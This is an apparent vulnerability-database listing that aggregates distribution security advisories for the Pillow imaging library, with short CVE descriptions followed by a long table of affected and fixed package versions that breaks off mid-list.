OSVCLSA-2026-1787718630 No score

TuxCare security update for pillow (3 CVEs)

TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.

Record
CLSA-2026-1787718630
Updated
2026-11-02
OSVCLSA-2026-1790674233 No score

TuxCare security update for pillow (14 CVEs)

TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.

Record
CLSA-2026-1790674233
Updated
2026-11-02
OSVMGASA-2026-0463 No score

Updated python-pillow packages fix security vulnerabilities

Prevent decompression bomb when parsing PDF WindowsViewer.get_command injection EPS image infinite loop JPEG2000 image memory usage McIdas out-of-bounds (OOB) read Out-of-bounds (OOB) read when saving 1 mode TGA images Out-of-bounds (OOB) write from large RankFilter sizes Out-of-bounds (OOB) write from Image.paste() Out-of-bounds (OOB) write in ImageCmsTransform Prevent FontFile decompression bomb Prevent GD decompression bomb

Record
MGASA-2026-0463
Updated
2026-11-02
OSVopenSUSE-SU-2026:11261-1 No score

python313-Pillow-12.3.0-1.1 on GA media

These are all security issues fixed in the python313-Pillow-12.3.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11261-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21296-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-42311: malicious PSD file processing can lead to arbitrary code execution (bsc#1270404).
  • CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).
  • CVE-2026-54060: fonts can trigger excessive memory allocation during conversion or saving (bsc#1270410).
  • CVE-2026-55379: bypass of decompression bomb protection allows excessive memory allocation (bsc#1270411).
  • CVE-2026-55380: crafted .gd file can trigger excessive C-heap allocation when loaded (bsc#1270412).
Record
openSUSE-SU-2026:21296-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-55379 No score

CVE-2026-55379 in pillow - Patched by Root

Root has patched CVE-2026-55379 in the pillow package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-55379
Updated
2026-11-06
OSVSUSE-SU-2026:22626-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-42311: malicious PSD file processing can lead to arbitrary code execution (bsc#1270404).
  • CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).
  • CVE-2026-54060: fonts can trigger excessive memory allocation during conversion or saving (bsc#1270410).
  • CVE-2026-55379: bypass of decompression bomb protection allows excessive memory allocation (bsc#1270411).
  • CVE-2026-55380: crafted .gd file can trigger excessive C-heap allocation when loaded (bsc#1270412).
Record
SUSE-SU-2026:22626-1
Updated
2026-11-02
OSVSUSE-SU-2026:2875-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).
  • CVE-2026-54060: a font can trigger excessive allocation during conversion or saving (bsc#1270410).
  • CVE-2026-55379: bypass of decompression bomb protection, allowing excessive memory allocation (bsc#1270411).
  • CVE-2026-55380: crafted .gd file can trigger excessive C-heap allocation when loaded (bsc#1270412).
Record
SUSE-SU-2026:2875-1
Updated
2026-11-02
OSVSUSE-SU-2026:3268-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues:

  • CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
  • CVE-2026-54059: bomb protection bypass via PCF font loading due to Image.frombytes() being called without _decompression_bomb_check() (bsc#1270409).
  • CVE-2026-54060: excessive allocation due to FontFile.compile(): Image.new() being called without _decompression_bomb_check() (bsc#1270410).
  • CVE-2026-55379: bomb protection bypass via font loading due to Image.new() being called without _decompression_bomb_check() (bsc#1270411).
  • CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without _decompression_bomb_check() in GdImageFile._open() (bsc#1270412).
  • CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
  • CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
  • CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
  • CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
  • CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
  • CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).
Record
SUSE-SU-2026:3268-1
Updated
2026-11-02
OSVUSN-8999-1 No score

pillow vulnerabilities

It was discovered that Pillow incorrectly handled map stride values when loading certain McIdas AREA images. An attacker could possibly use this issue to obtain sensitive information or cause a denial of service. (CVE-2026-54058)

It was discovered that Pillow did not properly check for decompression bombs when processing font files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)

It was discovered that Pillow did not properly check for decompression bombs when loading GD image files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-55380)

It was discovered that Pillow incorrectly validated filter sizes in the rank filter implementation. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59197)

It was discovered that Pillow incorrectly handled image coordinate calculations. An attacker could possibly use this issue to cause Pillow to crash. (CVE-2026-59199)

It was discovered that Pillow did not properly limit the size of decompressed PDF stream data. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59200)

It was discovered that Pillow incorrectly parsed EPS files containing a negative byte count in the BeginBinary directive. An attacker could possibly use this issue to cause Pillow to hang, resulting in a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-59203)

It was discovered that Pillow incorrectly accumulated JPEG2000 tile component widths. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59204)

It was discovered that Pillow incorrectly validated image mode compatibility in color management transforms. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59205)

Record
USN-8999-1
Updated
2026-11-05

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pillow
PyPI
before 12.3.0
12.3.0
python3-pillow
AlmaLinux:8
From an advisory covering 4 CVEs
before 5.1.1-22.el8_10
5.1.1-22.el8_10
python3-pillow-devel
AlmaLinux:8
From an advisory covering 4 CVEs
before 5.1.1-22.el8_10
5.1.1-22.el8_10
python3-pillow-doc
AlmaLinux:8
From an advisory covering 4 CVEs
before 5.1.1-22.el8_10
5.1.1-22.el8_10
python3-pillow-tk
AlmaLinux:8
From an advisory covering 4 CVEs
before 5.1.1-22.el8_10
5.1.1-22.el8_10
pillow
Bitnami
before 12.3.0
12.3.0
pillow
TuxCare:PyPI
From an advisory covering 9 CVEs
11.2.1 up to 11.2.1.post4+tuxcare, plus listed versions
11.2.1.post1+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare
11.2.1.post4+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 5 CVEs
9.5.0 up to 9.5.0.post3+tuxcare, plus listed versions
9.5.0.post1+tuxcare9.5.0.post2+tuxcare
9.5.0.post3+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 4 CVEs
9.4.0 up to 9.4.0.post5+tuxcare, plus listed versions
9.4.0.post1+tuxcare9.4.0.post2+tuxcare9.4.0.post3+tuxcare9.4.0.post4+tuxcare
9.4.0.post5+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 3 CVEs
8.4.0 up to 8.4.0.post3+tuxcare, plus listed versions
8.4.0.post1+tuxcare8.4.0.post2+tuxcare
8.4.0.post3+tuxcare
Show 290 moreShow less
Affected packages
PackageAffectedFixed
pillow
TuxCare:PyPI
From an advisory covering 3 CVEs
10.4.0 up to 10.4.0.post6+tuxcare, plus listed versions
10.4.0.post1+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare
10.4.0.post6+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 14 CVEs
11.3.0 up to 11.3.0.post5+tuxcare, plus listed versions
11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare
11.3.0.post5+tuxcare
pillow
Debian:12
All versions, plus listed versions
10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2
Show 19 moreShow less
10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1
None known
pillow
Debian:13
All versions, plus listed versions
11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4
Show 9 moreShow less
11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1
None known
pillow
Debian:14
before 12.3.0-1, plus listed versions
11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-1
12.3.0-1
pillow
PyPI
before 12.3.0, plus listed versions
1.01.11.21.31.4
Show 45 moreShow less
1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.12.8.2
12.3.0
python-pillow
Mageia:10
From an advisory covering 11 CVEs
before 12.3.0-1.mga10
12.3.0-1.mga10
python-pillow
openEuler:20.03-LTS-SP4
From an advisory covering 7 CVEs
before 9.0.1-12.oe2003sp4
9.0.1-12.oe2003sp4
python-pillow
openEuler:22.03-LTS-SP4
From an advisory covering 7 CVEs
before 9.0.1-12.oe2203sp4
9.0.1-12.oe2203sp4
python-pillow
openEuler:24.03-LTS-SP1
From an advisory covering 6 CVEs
before 10.3.0-8.oe2403sp1
10.3.0-8.oe2403sp1
python-pillow
openEuler:24.03-LTS-SP3
From an advisory covering 6 CVEs
before 10.3.0-8.oe2403sp3
10.3.0-8.oe2403sp3
python-pillow
openEuler:24.03-LTS-SP4
From an advisory covering 6 CVEs
before 10.3.0-8.oe2403sp4
10.3.0-8.oe2403sp4
python-pillow
Red Hat:enterprise_linux:8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python-pillow-debuginfo
Red Hat:enterprise_linux:8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python-pillow-debugsource
Red Hat:enterprise_linux:8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow
Red Hat:enterprise_linux:8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-debuginfo
Red Hat:enterprise_linux:8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-tk-debuginfo
Red Hat:enterprise_linux:8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python-pillow-debuginfo
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python-pillow-debugsource
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-debuginfo
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-devel
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-doc
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-tk
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python3-pillow-tk-debuginfo
Red Hat:enterprise_linux:8::crb
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
python-pillow
Red Hat:rhel_e4s:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python-pillow-debuginfo
Red Hat:rhel_e4s:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python-pillow-debugsource
Red Hat:rhel_e4s:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python3-pillow
Red Hat:rhel_e4s:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python3-pillow-debuginfo
Red Hat:rhel_e4s:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python3-pillow-tk-debuginfo
Red Hat:rhel_e4s:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python-pillow
Red Hat:rhel_tus:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python-pillow-debuginfo
Red Hat:rhel_tus:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python-pillow-debugsource
Red Hat:rhel_tus:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python3-pillow
Red Hat:rhel_tus:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python3-pillow-debuginfo
Red Hat:rhel_tus:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python3-pillow-tk-debuginfo
Red Hat:rhel_tus:8.8::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_8
0:5.1.1-20.el8_8
python-pillow
Red Hat:rhel_aus:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python-pillow-debuginfo
Red Hat:rhel_aus:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python-pillow-debugsource
Red Hat:rhel_aus:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python3-pillow
Red Hat:rhel_aus:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python3-pillow-debuginfo
Red Hat:rhel_aus:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python3-pillow-tk-debuginfo
Red Hat:rhel_aus:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python-pillow
Red Hat:rhel_eus_long_life:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python-pillow-debuginfo
Red Hat:rhel_eus_long_life:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python-pillow-debugsource
Red Hat:rhel_eus_long_life:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python3-pillow
Red Hat:rhel_eus_long_life:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python3-pillow-debuginfo
Red Hat:rhel_eus_long_life:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
python3-pillow-tk-debuginfo
Red Hat:rhel_eus_long_life:8.6::appstream
From an advisory covering 4 CVEs
before 0:5.1.1-20.el8_6
0:5.1.1-20.el8_6
openvox-server
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
openvox-server
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
rubygem-katello
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:4.20.0.7-1.el9sat
0:4.20.0.7-1.el9sat
python3.12-pillow
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debuginfo
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debugsource
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debuginfo
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debugsource
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
rubygem-faraday
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-faraday
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-nokogiri
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:1.17.2-3.el9sat
0:1.17.2-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:1.17.2-3.el9sat
0:1.17.2-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 8 CVEs
before 0:1.17.2-3.el9sat
0:1.17.2-3.el9sat
rubygem-nokogiri
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:1.17.2-3.el9sat
0:1.17.2-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:1.17.2-3.el9sat
0:1.17.2-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite:6.19::el9
From an advisory covering 8 CVEs
before 0:1.17.2-3.el9sat
0:1.17.2-3.el9sat
openvox-agent
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:8.24.1-3.el9sat
0:8.24.1-3.el9sat
openvox-agent
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:8.24.1-3.el9sat
0:8.24.1-3.el9sat
openvox-server
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
openvox-server
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
rubygem-katello
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:4.16.0.18-1.el9sat
0:4.16.0.18-1.el9sat
python-pyjwt
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt+crypto
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python-pyjwt
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt+crypto
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python-pillow
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python-pillow-debugsource
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow-debuginfo
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python-pillow
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python-pillow-debugsource
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow-debuginfo
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
rubygem-faraday
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-faraday
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-nokogiri
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite:6.17::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
openvox-agent
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:8.24.1-3.el8sat
0:8.24.1-3.el8sat
openvox-agent
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:8.24.1-3.el8sat
0:8.24.1-3.el8sat
openvox-agent
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:8.24.1-3.el9sat
0:8.24.1-3.el9sat
openvox-agent
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:8.24.1-3.el9sat
0:8.24.1-3.el9sat
openvox-server
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:8.14.1-1.el8sat
0:8.14.1-1.el8sat
openvox-server
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:8.14.1-1.el8sat
0:8.14.1-1.el8sat
openvox-server
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
openvox-server
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
rubygem-katello
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:4.14.0.21-1.el8sat
0:4.14.0.21-1.el8sat
rubygem-katello
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:4.14.0.21-1.el9sat
0:4.14.0.21-1.el9sat
python-pyjwt
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:2.13.0-1.el8pc
0:2.13.0-1.el8pc
python3.11-pyjwt+crypto
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:2.13.0-1.el8pc
0:2.13.0-1.el8pc
python3.11-pyjwt
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:2.13.0-1.el8pc
0:2.13.0-1.el8pc
python-pyjwt
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:2.13.0-1.el8pc
0:2.13.0-1.el8pc
python3.11-pyjwt+crypto
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:2.13.0-1.el8pc
0:2.13.0-1.el8pc
python3.11-pyjwt
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:2.13.0-1.el8pc
0:2.13.0-1.el8pc
python-pyjwt
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt+crypto
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python-pyjwt
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt+crypto
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.11-pyjwt
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
libsolv
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-debugsource
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-demo-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-tools-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
perl-solv-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
python3-solv
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
python3-solv-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
ruby-solv-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-debugsource
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-demo-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
libsolv-tools-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
perl-solv-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
python3-solv
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
python3-solv-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
ruby-solv-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 1:0.7.20-7.el8sat
1:0.7.20-7.el8sat
python-pillow
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python-pillow-debugsource
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python3.11-pillow
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python3.11-pillow-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python-pillow
